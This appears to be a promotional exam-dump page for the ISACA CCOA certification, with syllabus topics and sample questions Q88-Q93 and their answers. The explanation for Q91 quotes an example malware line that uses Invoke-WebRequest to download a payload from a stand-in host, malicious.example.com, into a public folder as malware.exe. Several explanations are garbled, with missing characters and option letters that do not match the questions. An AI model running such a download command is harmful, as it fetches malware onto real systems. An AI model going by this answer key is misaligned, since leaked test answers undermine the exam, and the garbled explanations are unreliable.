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[Hardware] 2026 CCOA–100% Free Examcollection Dumps Torrent | High Hit-Rate Positive CCOA F

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【Hardware】 2026 CCOA–100% Free Examcollection Dumps Torrent | High Hit-Rate Positive CCOA F

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ISACA CCOA Exam Syllabus Topics:
TopicDetails
Topic 1
  • Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
Topic 2
  • Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.
Topic 3
  • Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
Topic 4
  • Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.
Topic 5
  • Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.

ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q88-Q93):NEW QUESTION # 88
Which of the following is a KEY difference between traditional deployment methods and continuous integration/continuous deployment (CI/CD)?
  • A. CI/CD decreases the frequency of updates.
  • B. CI/CD decreases the amount of testing.
  • C. CI/CD Increases the speed of feedback.
  • D. CI/CD increases the number of errors.
Answer: C
Explanation:
Thekey difference between traditional deployment methods and CI/CD (Continuous Integration
/Continuous Deployment)is thespeed and frequency of feedbackduring the software development lifecycle.
* Traditional Deployment:Typically follows a linear, staged approach (e.g., development # testing # deployment), often resulting in slower feedback loops.
* CI/CD Pipelines:Integrate automated testing and deployment processes, allowing developers to quickly identify and resolve issues.
* Speed of Feedback:CI/CD tools automatically test code changes upon each commit, providing near- instant feedback. This drastically reduces the time between code changes and error detection.
* Rapid Iteration:Teams can immediately address issues, making the development process more efficient and resilient.
Other options analysis:
* A. CI/CD decreases the frequency of updates:CI/CD actuallyincreasesthe frequency of updates by automating the deployment process.
* B. CI/CD decreases the amount of testing:CI/CD usuallyincreasestesting by integrating automated tests throughout the pipeline.
* C. CI/CD increases the number of errorsroper CI/CD practices reduce errors by catching them early.
CCOA Official Review Manual, 1st Edition References:
* Chapter 10: Secure DevOps and CI/CD Practicesiscusses how CI/CD improves feedback and rapid bug fixing.
* Chapter 7: Automation in Security Operations:Highlights the benefits of automated testing in CI/CD environments.

NEW QUESTION # 89
Your enterprise has received an alert bulletin fromnational authorities that the network has beencompromised at approximately 11:00 PM (Absolute) onAugust 19, 2024. The alert is located in the alerts folderwith filename, alert_33.pdf.
What is the name of the suspected malicious filecaptured by keyword process.executable at 11:04 PM?
Answer:
Explanation:
See the solution in Explanation.
Explanation:
To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PM onAugust 19, 2024, follow these detailed steps:
Step 1: Access the Alert Bulletin
* Locate the alert file:
* Access thealerts folderon your system.
* Look for the file named:
* Open the file:
* Use a PDF reader to examine the contents.
Step 2: Understand the Alert Context
* The bulletin indicates that the network was compromised at around11:00 PM.
* You need to identify themalicious filespecificallycaptured at 11:04 PM.
Step 3: Access System Logs
* Use yourSIEMorlog management systemto examine recent logs.
* Filter the logs to narrow down the events:
* Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.
* Keyword:process.executable.
Example SIEM Query:
index=system_logs
| search "process.executable"
| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"
| table _time, process_name, executable_path, hash
Step 4: Analyze Log Entries
* The query result should show log entries related to theprocess executablethat was triggered at11:04 PM
.
* Focus on entries that:
* Appear unusual or suspicious.
* Match known indicators from thealert bulletin (alert_33.pdf).
Example Log Output:
_time process_name executable_path hash
2024-08-19T23:04 evil.exe C:UsersPublicevil.exe 4d5e6f...
Step 5: Cross-Reference with Known Threats
* Check the hash of the executable file against:
* VirusTotalor internal threat intelligence databases.
* Cross-check the file name with indicators mentioned in the alert bulletin.
Step 6: Final Confirmation
* The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.
The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe Step 7: Take Immediate Remediation Actions
* Isolate the affected hostto prevent further damage.
* Quarantine the malicious filefor analysis.
* Conduct a full forensic investigationto assess the scope of the compromise.
* Update threat signaturesand indicators across the environment.
Step 8: Report and Document
* Document the incident, including:
* Time of detection:11:04 PM on August 19, 2024.
* Malicious file name:evil.exe.
* Location:C:UsersPublicevil.exe.
* Generate an incident reportfor further investigation.

NEW QUESTION # 90
Which type of middleware is used for connecting software components thatarewritten in different programming languages?
  • A. Message-oriented middleware
  • B. Transaction processing middleware
  • C. Object-oriented middleware
  • D. Remote procedure call middleware
Answer: C
Explanation:
Object-oriented middlewareis used toconnect software components written in different programming languagesby:
* Language Interoperability:Enables objects created in one language to be used in another, typically throughCORBA (Common Object Request Broker Architecture)orDCOM (Distributed Component Object Model).
* Distributed Systems:Facilitates communication between objects over a network.
* Platform Independence:Abstracts the underlying communication protocols.
* Example Use Case:A Java application calling methods on a C++ object using CORBA.
Other options analysis:
* A. Transaction processing middleware:Manages distributed transactions, not language interoperability.
* B. Remote procedure call middleware:Calls functions on remote systems but does not focus on language compatibility.
* C. Message-oriented middleware:Transmits messages between applications but does not inherently bridge language gaps.
CCOA Official Review Manual, 1st Edition References:
* Chapter 9: Middleware Technologiesiscusses various types of middleware and their roles.
* Chapter 7: Distributed Computing Concepts:Explains how object-oriented middleware enhances cross-language communication.

NEW QUESTION # 91
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
Answer:
Explanation:
See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
* Log into the Analyst Desktopusing your credentials.
* Locate theMalware Samplesfolder on the desktop.
* Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
* Open the file using a text editor:
* OnWindows:Right-click > Open with > Notepad.
* OnLinux:
cat ~/Desktop/Malware Samples/malscript.viruz.txt
* Carefully read through the file content to identify:
* Anystrings or commentsembedded within the script.
* Specifickeywords,URLs, orfile hashes.
* Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
* Focus on:
* Unique Identifiers:Threat group names, malware family names, or specific markers.
* Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
* Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest
-Uri "http://malicious.example.com/payload" -OutFile "C:UsersPublicmalware.exe" Step 4: Correlate with Threat Intelligence
* Use the following resources to correlate any discovered indicators:
* MITRE ATT&CK:To map the technique or tool.
* VirusTotal:To check file hashes or URLs.
* Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
* If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=")) Step 5: Identify the Threat Actor Group
* If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
* Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
* TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
* APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
* Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Final Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
* Include the following details:
* Filename:malscript.viruz.txt
* Associated Threat Group:TA505
* Key Indicatorsomain names, script functions, or specific malware traits.
* Generate an incident report summarizing your analysis.
Step 8: Next Steps
* Quarantine and Isolate:If the script was executed, isolate the affected system.
* Forensic Analysiseep dive into system logs for any signs of execution.
* Threat Hunting:Search for similar scripts or IOCs in the network.

NEW QUESTION # 92
How can port security protect systems on a segmented network?
  • A. By preventing unauthorized access to the network
  • B. By requiring multi-factor authentication
  • C. By establishing a Transport Layer Security (TLS) handshake
  • D. By enforcing encryption of data on the network
Answer: A
Explanation:
Port security is a network control technique used primarily toprevent unauthorized accessto a network by:
* MAC Address Filtering:Restricts which devices can connect by allowing only known MAC addresses.
* Port Lockdownisables a port if an untrusted device attempts to connect.
* Mitigating MAC Flooding:Helps prevent attackers from overwhelming the switch with spoofed MAC addresses.
Incorrect Options:
* A. Enforcing encryptionort security does not directly handle encryption.
* C. Establishing TLS handshake:TLS is related to secure communications, not port-level access control.
* D. Requiring multi-factor authenticationort security works at the network level, not the authentication level.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Network Security," Subsection "ort Security" - Port security helps protect network segments by controlling device connections based on MAC address.

NEW QUESTION # 93
......
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